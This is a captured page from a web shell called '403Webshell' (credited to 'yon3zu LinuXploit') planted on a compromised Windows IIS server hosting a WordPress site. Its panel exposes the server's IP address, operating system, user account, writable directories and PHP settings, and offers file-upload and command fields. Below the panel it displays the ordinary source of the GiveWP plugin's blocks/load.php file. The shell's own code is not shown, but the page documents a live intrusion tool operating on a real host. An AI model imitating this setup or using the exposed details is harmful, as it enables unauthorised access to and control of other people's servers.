403Webshell
Server IP : 69.30.224.78  /  Your IP : 216.73.217.95
Web Server : Microsoft-IIS/10.0
System : Windows NT SERVER 10.0 build 14393 (Windows Server 2016) AMD64
User : IWPD_92(newtechtest) ( 0)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Inetpub/vhosts/newtechtest.in/heartcare.newtechtest.in/wp-content/plugins/give/blocks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Inetpub/vhosts/newtechtest.in/heartcare.newtechtest.in/wp-content/plugins/give/blocks//load.php
<?php
// Exit if access directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Add Custom Block Category for Give blocks
 */
function give_blocks_category( $categories, $post ) {
	return array_merge(
		$categories,
		array(
			array(
				'slug'  => 'give',
				'title' => __( 'Give', 'give' ),
			),
		)
	);
}

/**
 * @since 2.19.0 The `block_categories` filter is deprecated as of WordPress 5.8
 */
if ( version_compare( get_bloginfo( 'version' ), '5.8', '>=' ) ) {
	add_filter( 'block_categories_all', 'give_blocks_category', 10, 2 );
} else {
	add_filter( 'block_categories', 'give_blocks_category', 10, 2 );
}

/**
* Blocks
*/
require_once GIVE_PLUGIN_DIR . 'blocks/donation-form/class-give-donation-form-block.php';
require_once GIVE_PLUGIN_DIR . 'blocks/donation-form-grid/class-give-donation-form-grid-block.php';
require_once GIVE_PLUGIN_DIR . 'blocks/donor-wall/class-give-donor-wall.php';


Youez - 2016 - github.com/yon3zu
LinuXploit